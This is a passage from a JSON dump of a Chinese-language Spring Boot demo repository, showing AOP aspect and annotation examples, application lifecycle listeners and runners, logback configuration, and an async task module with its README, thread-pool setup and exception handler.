//后置最终通知,final增强，不管是抛出异常或者正常退出都会执行\n    @After(\"webLog()\")\n    public void after(JoinPoint jp){\n        System.out.println(\"方法最后执行.....\");\n    }\n\n    //环绕通知,环绕增强，相当于MethodInterceptor\n    @Around(\"webLog()\")\n    public Object arround(ProceedingJoinPoint pjp) throws Throwable{\n        System.out.println(\"方法环绕start.....\");\n        try {\n            Object o =  pjp.proceed();\n            System.out.println(\"方法环绕proceed，结果是 :\" + o);\n            return o;\n        } catch (Throwable e) {\n            throw e;\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/aop/aspect/UserAccess.java",
    "content": "package com.jun.plugin.aop.aspect;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target({ElementType.METHOD, ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface UserAccess {\n    String desc() default \"无信息\";\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/aop/aspect/UserAccessAspect.java",
    "content": "package com.jun.plugin.aop.aspect;\n\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.*;\nimport org.springframework.stereotype.Component;\n\n@Component\n@Aspect\npublic class UserAccessAspect {\n\n    @Pointcut(value = \"@annotation(com.jun.plugin.aop.aspect.UserAccess)\")\n    public void access() {\n\n    }\n\n    @Before(\"access()\")\n    public void deBefore(JoinPoint joinPoint) throws Throwable {\n        System.out.println(\"second before\");\n    }\n\n    @Around(\"@annotation(userAccess)\")\n    public Object around(ProceedingJoinPoint pjp, UserAccess userAccess) {\n        //获取注解里的值\n        System.out.println(\"second around:\" + userAccess.desc());\n        try {\n            return pjp.proceed();\n        } catch (Throwable throwable) {\n            throwable.printStackTrace();\n            return null;\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/aop/controller/UserController.java",
    "content": "package com.jun.plugin.aop.controller;\n\nimport com.jun.plugin.aop.aspect.UserAccess;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Description:\n */\n@RestController\npublic class UserController {\n    @RequestMapping(\"/first\")\n    public Object first() {\n        return \"first controller\";\n    }\n\n    @RequestMapping(\"/doError\")\n    public Object error() {\n        return 1 / 0;\n    }\n\n\t@RequestMapping(\"/second\")\n    @UserAccess(desc = \"second\")\n    public Object second() {\n        return \"second controller\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/initializer/AfterHelloApplicationContextInitializer.java",
    "content": "package com.jun.plugin.initializer;\n\nimport org.springframework.context.ApplicationContextInitializer;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.Ordered;\n\n/**\n * @author MrBird\n */\npublic class AfterHelloApplicationContextInitializer\n        implements ApplicationContextInitializer, Ordered {\n    @Override\n    public void initialize(ConfigurableApplicationContext applicationContext) {\n        System.out.println(\"AfterHelloApplicationContextInitializer: \" + applicationContext.getId());\n    }\n\n    @Override\n    public int getOrder() {\n        return Ordered.LOWEST_PRECEDENCE;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/initializer/HelloApplicationContextInitializer.java",
    "content": "package com.jun.plugin.initializer;\n\nimport org.springframework.context.ApplicationContextInitializer;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.Ordered;\nimport org.springframework.core.annotation.Order;\n\n/**\n * @author MrBird\n */\n@Order(Ordered.HIGHEST_PRECEDENCE)\npublic class HelloApplicationContextInitializer\n        implements ApplicationContextInitializer {\n    @Override\n    public void initialize(ConfigurableApplicationContext applicationContext) {\n        System.out.println(\"ConfigurableApplicationContext.id - \" + applicationContext.getId());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/listener/AfterContextClosedEventListener.java",
    "content": "package com.jun.plugin.listener;\n\nimport org.springframework.context.ApplicationListener;\nimport org.springframework.context.event.ContextClosedEvent;\nimport org.springframework.core.Ordered;\n\n/**\n * @author MrBird\n */\npublic class AfterContextClosedEventListener implements ApplicationListener<ContextClosedEvent>, Ordered {\n    @Override\n    public void onApplicationEvent(ContextClosedEvent event) {\n        System.out.println(\"AfterContextClosedEvent: \" + event.getApplicationContext().getId());\n    }\n\n    @Override\n    public int getOrder() {\n        return Ordered.HIGHEST_PRECEDENCE + 1;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/listener/ContextClosedEventListener.java",
    "content": "package com.jun.plugin.listener;\n\nimport org.springframework.context.ApplicationListener;\nimport org.springframework.context.event.ContextClosedEvent;\nimport org.springframework.core.Ordered;\nimport org.springframework.core.annotation.Order;\n\n/**\n * @author MrBird\n */\n@Order(Ordered.HIGHEST_PRECEDENCE)\npublic class ContextClosedEventListener implements ApplicationListener<ContextClosedEvent> {\n\n    @Override\n    public void onApplicationEvent(ContextClosedEvent event) {\n        System.out.println(\"ContextClosedEvent: \" + event.getApplicationContext().getId());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/listener/HelloApplicationRunListener.java",
    "content": "package com.jun.plugin.listener;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.SpringApplicationRunListener;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.ConfigurableEnvironment;\n\n/**\n * @author MrBird\n */\npublic class HelloApplicationRunListener implements SpringApplicationRunListener {\n\n\n    public HelloApplicationRunListener(SpringApplication application, String[] args) {\n    }\n\n\n    @Override\n    public void starting() {\n        System.out.println(\"HelloApplicationRunListener starting......\");\n    }\n\n    @Override\n    public void environmentPrepared(ConfigurableEnvironment environment) {\n\n    }\n\n    @Override\n    public void contextPrepared(ConfigurableApplicationContext context) {\n\n    }\n\n    @Override\n    public void contextLoaded(ConfigurableApplicationContext context) {\n\n    }\n\n    @Override\n    public void started(ConfigurableApplicationContext context) {\n\n    }\n\n    @Override\n    public void running(ConfigurableApplicationContext context) {\n\n    }\n\n    @Override\n    public void failed(ConfigurableApplicationContext context, Throwable exception) {\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/runner/HelloApplicationRunner.java",
    "content": "package com.jun.plugin.runner;\n\nimport org.springframework.boot.ApplicationArguments;\nimport org.springframework.boot.ApplicationRunner;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author MrBird\n */\n@Component\npublic class HelloApplicationRunner implements ApplicationRunner {\n    @Override\n    public void run(ApplicationArguments args) {\n        System.out.println(\"HelloApplicationRunner: hello spring boot\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/java/com/jun/plugin/runner/HelloCommandLineRunner.java",
    "content": "package com.jun.plugin.runner;\n\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author MrBird\n */\n@Component\npublic class HelloCommandLineRunner implements CommandLineRunner {\n    @Override\n    public void run(String... args) {\n        System.out.println(\"HelloCommandLineRunner: hello spring boot\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    root: INFO\n    com.jun.plugin: DEBUG\n  path: D:/logs/springboot-aop\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_aop/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- scan 配置文件如果发生改变，将会被重新加载  scanPeriod 检测间隔时间-->\n<configuration scan=\"true\" scanPeriod=\"60 seconds\" debug=\"false\">\n    <contextName>logback</contextName>\n    <include resource=\"org/springframework/boot/logging/logback/base.xml\"/>\n    <!-- 日志存储级别 -->\n    <springProperty scope=\"context\" name=\"rootlevel\" source=\"logging.level.root\" />\n    <springProperty scope=\"context\" name=\"busilevel\" source=\"logging.level.com.xncoding\" />\n    <!-- 日志存储路径 -->\n    <springProperty scope=\"context\" name=\"logPath\" source=\"logging.path\" />\n    <!-- 普通日志 -->\n    <appender name=\"INFO_FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${logPath}/info.log</file>\n        <!-- 循环政策：基于时间创建日志文件 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!-- 日志命名:单个文件大于128MB 按照时间+自增i 生成log文件 -->\n            <fileNamePattern>${logPath}/info-%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>128MB</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n            <!-- 最大保存时间：30天-->\n            <maxHistory>30</maxHistory>\n        </rollingPolicy>\n        <append>true</append>\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS}  %p ${PID:-} --- [%15thread] %logger:%-3L : %msg%n</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>info</level>\n            <onMatch>ACCEPT</onMatch>\n            <onMismatch>DENY</onMismatch>\n        </filter>\n    </appender>\n    <!-- 错误日志 -->\n    <appender name=\"ERROR_FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${logPath}/error.log</file>\n        <!-- 循环政策：基于时间创建日志文件 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!-- 日志命名:单个文件大于2MB 按照时间+自增i 生成log文件 -->\n            <fileNamePattern>${logPath}/error-%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>2MB</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n            <!-- 最大保存时间：180天-->\n            <maxHistory>180</maxHistory>\n        </rollingPolicy>\n        <append>true</append>\n        <!-- 日志格式 -->\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS}  %p ${PID:-} --- [%15thread] %logger:%-3L : %msg%n</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <!-- 日志级别过滤器 -->\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <!-- 过滤的级别 -->\n            <level>ERROR</level>\n            <!-- 匹配时的操作：接收（记录） -->\n            <onMatch>ACCEPT</onMatch>\n            <!-- 不匹配时的操作：拒绝（不记录） -->\n            <onMismatch>DENY</onMismatch>\n        </filter>\n    </appender>\n    <!-- 控制台 -->\n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <!-- 日志格式 -->\n        <encoder>\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS}  %p ${PID:-} --- [%15thread] %logger:%-3L : %msg%n</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <!--此日志appender是为开发使用，只配置最底级别，控制台输出的日志级别是大于或等于此级别的日志信息-->\n        <filter class=\"ch.qos.logback.classic.filter.ThresholdFilter\">\n            <level>DEBUG</level>\n        </filter>\n    </appender>\n    <!-- 屏蔽kafka的警告 -->\n    <logger name=\"org.apache.kafka\" level=\"ERROR\"/>\n    <!-- additivity 避免执行2次 -->\n    <logger name=\"com.xncoding\" level=\"${busilevel}\" additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n        <appender-ref ref=\"INFO_FILE\"/>\n        <appender-ref ref=\"ERROR_FILE\"/>\n    </logger>\n    <root level=\"${rootlevel}\">\n        <appender-ref ref=\"INFO_FILE\"/>\n        <appender-ref ref=\"ERROR_FILE\"/>\n    </root>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/README.md",
    "content": "# spring-boot-demo-async\n\n> 此 demo 主要演示了 Spring Boot 如何使用原生提供的异步任务支持，实现异步执行任务。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-async</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-async</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>com.jun.plugin.spirngboot</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-async</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## application.yml\n\n```yaml\nspring:\n  task:\n    execution:\n      pool:\n        # 最大线程数\n        max-size: 16\n        # 核心线程数\n        core-size: 16\n        # 存活时间\n        keep-alive: 10s\n        # 队列大小\n        queue-capacity: 100\n        # 是否允许核心线程超时\n        allow-core-thread-timeout: true\n      # 线程名称前缀\n      thread-name-prefix: async-task-\n```\n\n## SpringBootDemoAsyncApplication.java\n\n```java\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.jun.plugin.spirngboot.async\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-12-29 10:28\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@EnableAsync\n@SpringBootApplication\npublic class SpringBootDemoAsyncApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoAsyncApplication.class, args);\n    }\n\n}\n```\n\n## TaskFactory.java\n\n```java\n/**\n * <p>\n * 任务工厂\n * </p>\n *\n * @package: com.jun.plugin.spirngboot.async.task\n * @description: 任务工厂\n * @author: yangkai.shen\n * @date: Created in 2018-12-29 10:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class TaskFactory {\n\n    /**\n     * 模拟5秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask1() throws InterruptedException {\n        doTask(\"asyncTask1\", 5);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟2秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask2() throws InterruptedException {\n        doTask(\"asyncTask2\", 2);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟3秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask3() throws InterruptedException {\n        doTask(\"asyncTask3\", 3);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟5秒的同步任务\n     */\n    public void task1() throws InterruptedException {\n        doTask(\"task1\", 5);\n    }\n\n    /**\n     * 模拟2秒的同步任务\n     */\n    public void task2() throws InterruptedException {\n        doTask(\"task2\", 2);\n    }\n\n    /**\n     * 模拟3秒的同步任务\n     */\n    public void task3() throws InterruptedException {\n        doTask(\"task3\", 3);\n    }\n\n    private void doTask(String taskName, Integer time) throws InterruptedException {\n        log.info(\"{}开始执行，当前线程名称【{}】\", taskName, Thread.currentThread().getName());\n        TimeUnit.SECONDS.sleep(time);\n        log.info(\"{}执行成功，当前线程名称【{}】\", taskName, Thread.currentThread().getName());\n    }\n}\n```\n\n## TaskFactoryTest.java\n\n```java\n/**\n * <p>\n * 测试任务\n * </p>\n *\n * @package: com.jun.plugin.spirngboot.async.task\n * @description: 测试任务\n * @author: yangkai.shen\n * @date: Created in 2018-12-29 10:49\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class TaskFactoryTest extends SpringBootDemoAsyncApplicationTests {\n    @Autowired\n    private TaskFactory task;\n\n    /**\n     * 测试异步任务\n     */\n    @Test\n    public void asyncTaskTest() throws InterruptedException, ExecutionException {\n        long start = System.currentTimeMillis();\n        Future<Boolean> asyncTask1 = task.asyncTask1();\n        Future<Boolean> asyncTask2 = task.asyncTask2();\n        Future<Boolean> asyncTask3 = task.asyncTask3();\n\n        // 调用 get() 阻塞主线程\n        asyncTask1.get();\n        asyncTask2.get();\n        asyncTask3.get();\n        long end = System.currentTimeMillis();\n\n        log.info(\"异步任务全部执行结束，总耗时：{} 毫秒\", (end - start));\n    }\n\n    /**\n     * 测试同步任务\n     */\n    @Test\n    public void taskTest() throws InterruptedException {\n        long start = System.currentTimeMillis();\n        task.task1();\n        task.task2();\n        task.task3();\n        long end = System.currentTimeMillis();\n\n        log.info(\"同步任务全部执行结束，总耗时：{} 毫秒\", (end - start));\n    }\n}\n```\n\n## 运行结果\n\n### 异步任务\n\n```bash\n2018-12-29 10:57:28.511  INFO 3134 --- [   async-task-3] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask3开始执行，当前线程名称【async-task-3】\n2018-12-29 10:57:28.511  INFO 3134 --- [   async-task-1] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask1开始执行，当前线程名称【async-task-1】\n2018-12-29 10:57:28.511  INFO 3134 --- [   async-task-2] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask2开始执行，当前线程名称【async-task-2】\n2018-12-29 10:57:30.514  INFO 3134 --- [   async-task-2] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask2执行成功，当前线程名称【async-task-2】\n2018-12-29 10:57:31.516  INFO 3134 --- [   async-task-3] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask3执行成功，当前线程名称【async-task-3】\n2018-12-29 10:57:33.517  INFO 3134 --- [   async-task-1] com.jun.plugin.spirngboot.async.task.TaskFactory      : asyncTask1执行成功，当前线程名称【async-task-1】\n2018-12-29 10:57:33.517  INFO 3134 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactoryTest  : 异步任务全部执行结束，总耗时：5015 毫秒\n```\n\n### 同步任务\n\n```bash\n2018-12-29 10:55:49.830  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task1开始执行，当前线程名称【main】\n2018-12-29 10:55:54.834  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task1执行成功，当前线程名称【main】\n2018-12-29 10:55:54.835  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task2开始执行，当前线程名称【main】\n2018-12-29 10:55:56.839  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task2执行成功，当前线程名称【main】\n2018-12-29 10:55:56.839  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task3开始执行，当前线程名称【main】\n2018-12-29 10:55:59.843  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactory      : task3执行成功，当前线程名称【main】\n2018-12-29 10:55:59.843  INFO 3079 --- [           main] com.jun.plugin.spirngboot.async.task.TaskFactoryTest  : 同步任务全部执行结束，总耗时：10023 毫秒\n```\n\n## 参考\n\n- Spring Boot 异步任务线程池的配置 参考官方文档：https://docs.spring.io/spring-boot/docs/2.1.0.RELEASE/reference/htmlsingle/#boot-features-task-execution-scheduling"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>springboot_async</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <name>springboot_async</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.1.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n        \t<groupId>junit</groupId>\n        \t<artifactId>junit</artifactId>\n        \t<version>4.13.1</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_async</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/SpringBootDemoAsyncApplication.java",
    "content": "package com.jun.plugin.spirngboot.async;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.scheduling.annotation.EnableAsync;\n\n@EnableAsync\n@SpringBootApplication\npublic class SpringBootDemoAsyncApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoAsyncApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/demo/config/AsyncPoolConfig.java",
    "content": "package com.jun.plugin.spirngboot.async.demo.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\nimport java.util.concurrent.ThreadPoolExecutor;\n\n/**\n * @author MrBird\n */\n@Configuration\npublic class AsyncPoolConfig {\n\n    @Bean\n    public ThreadPoolTaskExecutor asyncThreadPoolTaskExecutor(){\n        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n        executor.setCorePoolSize(20);\n        executor.setMaxPoolSize(200);\n        executor.setQueueCapacity(25);\n        executor.setKeepAliveSeconds(200);\n        executor.setThreadNamePrefix(\"asyncThread\");\n        executor.setWaitForTasksToCompleteOnShutdown(true);\n        executor.setAwaitTerminationSeconds(60);\n\n        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());\n\n        executor.initialize();\n        return executor;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/demo/controller/TestController.java",
    "content": "package com.jun.plugin.spirngboot.async.demo.controller;\n\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.spirngboot.async.demo.service.TestService;\n\n/**\n * @author MrBird\n */\n@RestController\npublic class TestController {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Autowired\n    private TestService testService;\n\n    @GetMapping(\"async\")\n    public String testAsync() throws Exception {\n        long start = System.currentTimeMillis();\n        logger.info(\"异步方法开始\");\n\n        Future<String> stringFuture = testService.asyncMethod();\n        String result = stringFuture.get(60, TimeUnit.SECONDS);\n        logger.info(\"异步方法返回值：{}\", result);\n\n        logger.info(\"异步方法结束\");\n\n        long end = System.currentTimeMillis();\n        logger.info(\"总耗时：{} ms\", end - start);\n        return stringFuture.get();\n    }\n\n    @GetMapping(\"sync\")\n    public void testSync() {\n        long start = System.currentTimeMillis();\n        logger.info(\"同步方法开始\");\n\n        testService.syncMethod();\n\n        logger.info(\"同步方法结束\");\n        long end = System.currentTimeMillis();\n        logger.info(\"总耗时：{} ms\", end - start);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/demo/service/TestService.java",
    "content": "package com.jun.plugin.spirngboot.async.demo.service;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.scheduling.annotation.Async;\nimport org.springframework.scheduling.annotation.AsyncResult;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * @author MrBird\n */\n@Service\npublic class TestService {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Async(\"asyncThreadPoolTaskExecutor\")\n    // @Async\n    public Future<String> asyncMethod() {\n        sleep();\n        logger.info(\"异步方法内部线程名称：{}\", Thread.currentThread().getName());\n        return new AsyncResult<>(\"hello async\");\n    }\n\n    public void syncMethod() {\n        sleep();\n    }\n\n    private void sleep() {\n        try {\n            TimeUnit.SECONDS.sleep(2);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/pos/Application.java",
    "content": "package com.jun.plugin.spirngboot.async.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/pos/async/AsyncException.java",
    "content": "package com.jun.plugin.spirngboot.async.pos.async;\n\n/**\n * 异步方法异常\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/25\n */\npublic class AsyncException extends RuntimeException {\n    public AsyncException() {\n        super();\n    }\n\n    public AsyncException(String msg) {\n        super(msg);\n    }\n\n    public AsyncException(int code, String msg) {\n        super(msg);\n        this.code = code;\n    }\n\n    /**\n     * 错误代码\n     */\n    private int code;\n\n    public int getCode() {\n        return code;\n    }\n\n    public void setCode(int code) {\n        this.code = code;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/pos/async/AsyncExceptionHandler.java",
    "content": "package com.jun.plugin.spirngboot.async.pos.async;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;\n\nimport java.lang.reflect.Method;\nimport java.util.Arrays;\n\n/**\n * AsyncExceptionHandler\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/25\n */\npublic class AsyncExceptionHandler implements AsyncUncaughtExceptionHandler {\n    private static final Logger log = LoggerFactory.getLogger(AsyncExceptionHandler.class);\n    @Override\n    public void handleUncaughtException(Throwable ex, Method method, Object... params) {\n        log.error(\"Async method has uncaught exception, params:{}\" + Arrays.toString(params));\n\n        if (ex instanceof AsyncException) {\n            AsyncException asyncException = (AsyncException) ex;\n            log.error(\"asyncException:\"  + asyncException.getMessage());\n        }\n\n        log.error(\"Exception :\", ex);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/pos/async/AsyncTask.java",
